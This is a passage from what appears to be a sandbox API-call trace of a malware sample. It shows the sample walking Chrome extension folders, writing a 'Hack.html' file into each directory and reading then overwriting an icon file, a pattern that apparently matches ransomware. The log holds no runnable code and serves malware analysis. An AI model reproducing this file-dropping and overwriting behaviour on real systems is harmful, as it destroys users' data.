lpBuffer=0x27c4e30*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.415] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN", lpFilePart=0x0) returned 0x90 [0074.415] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\", lpFilePart=0x0) returned 0x91 [0074.415] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.416] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN", lpFilePart=0x0) returned 0x90 [0074.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\", lpFilePart=0x0) returned 0x91 [0074.416] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.416] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\Hack.html", lpFilePart=0x0) returned 0x9a [0074.416] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_cn\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.417] GetFileType (hFile=0x174) returned 0x1 [0074.417] GetFileType (hFile=0x174) returned 0x1 [0074.417] WriteFile (in: hFile=0x174, lpBuffer=0x27ca5c0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x27ca5c0*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.418] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW", lpFilePart=0x0) returned 0x90 [0074.418] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\", lpFilePart=0x0) returned 0x91 [0074.418] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.419] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.419] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW", lpFilePart=0x0) returned 0x90 [0074.419] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\", lpFilePart=0x0) returned 0x91 [0074.419] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.419] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.419] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\Hack.html", lpFilePart=0x0) returned 0x9a [0074.419] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_tw\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.420] GetFileType (hFile=0x174) returned 0x1 [0074.420] GetFileType (hFile=0x174) returned 0x1 [0074.420] WriteFile (in: hFile=0x174, lpBuffer=0x27cfd50*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x27cfd50*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.421] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\Hack.html", lpFilePart=0x0) returned 0x94 [0074.421] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.422] GetFileType (hFile=0x174) returned 0x1 [0074.422] GetFileType (hFile=0x174) returned 0x1 [0074.422] WriteFile (in: hFile=0x174, lpBuffer=0x27d26a8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb5c, lpOverlapped=0x0 | out: lpBuffer=0x27d26a8*, lpNumberOfBytesWritten=0x39eb5c*=0xba, lpOverlapped=0x0) returned 1 [0074.423] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata", nBufferLength=0x105, lpBuffer=0x39e6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata", lpFilePart=0x0) returned 0x8b [0074.423] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\", nBufferLength=0x105, lpBuffer=0x39e6cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\", lpFilePart=0x0) returned 0x8c [0074.423] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\*", lpFindFileData=0x39e918 | out: lpFindFileData=0x39e918) returned 0x59a8a8 [0074.424] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.424] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata", nBufferLength=0x105, lpBuffer=0x39e6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata", lpFilePart=0x0) returned 0x8b [0074.424] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\", nBufferLength=0x105, lpBuffer=0x39e6cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\", lpFilePart=0x0) returned 0x8c [0074.424] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\*", lpFindFileData=0x39e918 | out: lpFindFileData=0x39e918) returned 0x59a8a8 [0074.424] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.424] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\Hack.html", lpFilePart=0x0) returned 0x95 [0074.424] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.425] GetFileType (hFile=0x174) returned 0x1 [0074.425] GetFileType (hFile=0x174) returned 0x1 [0074.425] WriteFile (in: hFile=0x174, lpBuffer=0x27d7d64*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb5c, lpOverlapped=0x0 | out: lpBuffer=0x27d7d64*, lpNumberOfBytesWritten=0x39eb5c*=0xba, lpOverlapped=0x0) returned 1 [0074.426] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e620, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\Hack.html", lpFilePart=0x0) returned 0x8b [0074.426] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.427] GetFileType (hFile=0x174) returned 0x1 [0074.427] GetFileType (hFile=0x174) returned 0x1 [0074.427] WriteFile (in: hFile=0x174, lpBuffer=0x27da694*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb90, lpOverlapped=0x0 | out: lpBuffer=0x27da694*, lpNumberOfBytesWritten=0x39eb90*=0xba, lpOverlapped=0x0) returned 1 [0074.428] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e654, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\Hack.html", lpFilePart=0x0) returned 0x81 [0074.428] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.429] GetFileType (hFile=0x174) returned 0x1 [0074.429] GetFileType (hFile=0x174) returned 0x1 [0074.429] WriteFile (in: hFile=0x174, lpBuffer=0x27dcf9c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebc4, lpOverlapped=0x0 | out: lpBuffer=0x27dcf9c*, lpNumberOfBytesWritten=0x39ebc4*=0xba, lpOverlapped=0x0) returned 1 [0074.430] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia", nBufferLength=0x105, lpBuffer=0x39e760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia", lpFilePart=0x0) returned 0x77 [0074.430] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\", nBufferLength=0x105, lpBuffer=0x39e734, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\", lpFilePart=0x0) returned 0x78 [0074.430] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\*", lpFindFileData=0x39e980 | out: lpFindFileData=0x39e980) returned 0x59a8a8 [0074.431] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.431] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia", nBufferLength=0x105, lpBuffer=0x39e760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia", lpFilePart=0x0) returned 0x77 [0074.431] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\", nBufferLength=0x105, lpBuffer=0x39e734, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\", lpFilePart=0x0) returned 0x78 [0074.431] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\*", lpFindFileData=0x39e980 | out: lpFindFileData=0x39e980) returned 0x59a8a8 [0074.431] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.431] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0", nBufferLength=0x105, lpBuffer=0x39e72c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0", lpFilePart=0x0) returned 0x7d [0074.431] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\", nBufferLength=0x105, lpBuffer=0x39e700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\", lpFilePart=0x0) returned 0x7e [0074.431] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\*", lpFindFileData=0x39e94c | out: lpFindFileData=0x39e94c) returned 0x59a8a8 [0074.437] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0", nBufferLength=0x105, lpBuffer=0x39e72c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0", lpFilePart=0x0) returned 0x7d [0074.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\", nBufferLength=0x105, lpBuffer=0x39e700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\", lpFilePart=0x0) returned 0x7e [0074.438] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\*", lpFindFileData=0x39e94c | out: lpFindFileData=0x39e94c) returned 0x59a8a8 [0074.439] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.440] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png", nBufferLength=0x105, lpBuffer=0x39e610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png", lpFilePart=0x0) returned 0x85 [0074.440] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0074.441] GetFileType (hFile=0x174) returned 0x1 [0074.441] GetFileType (hFile=0x174) returned 0x1 [0074.442] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0x180f [0074.442] ReadFile (in: hFile=0x174, lpBuffer=0x27e416c, nNumberOfBytesToRead=0x180f, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x27e416c*, lpNumberOfBytesRead=0x39ebb8*=0x180f, lpOverlapped=0x0) returned 1 [0074.463] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png", nBufferLength=0x105, lpBuffer=0x39e5f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png", lpFilePart=0x0) returned 0x85 [0074.463] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0074.464] GetFileType (hFile=0x174) returned 0x1 [0074.464] GetFileType (hFile=0x174) returned 0x1 [0074.464] WriteFile (in: hFile=0x174, lpBuffer=0x28388e0*, nNumberOfBytesToWrite=0x1810, lpNumberOfBytesWritten=0x39eba8, lpOverlapped=0x0 | out: lpBuffer=0x28388e0*, lpNumberOfBytesWritten=0x39eba8*=0x1810, lpOverlapped=0x0) returned 1 [0074.465] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png", 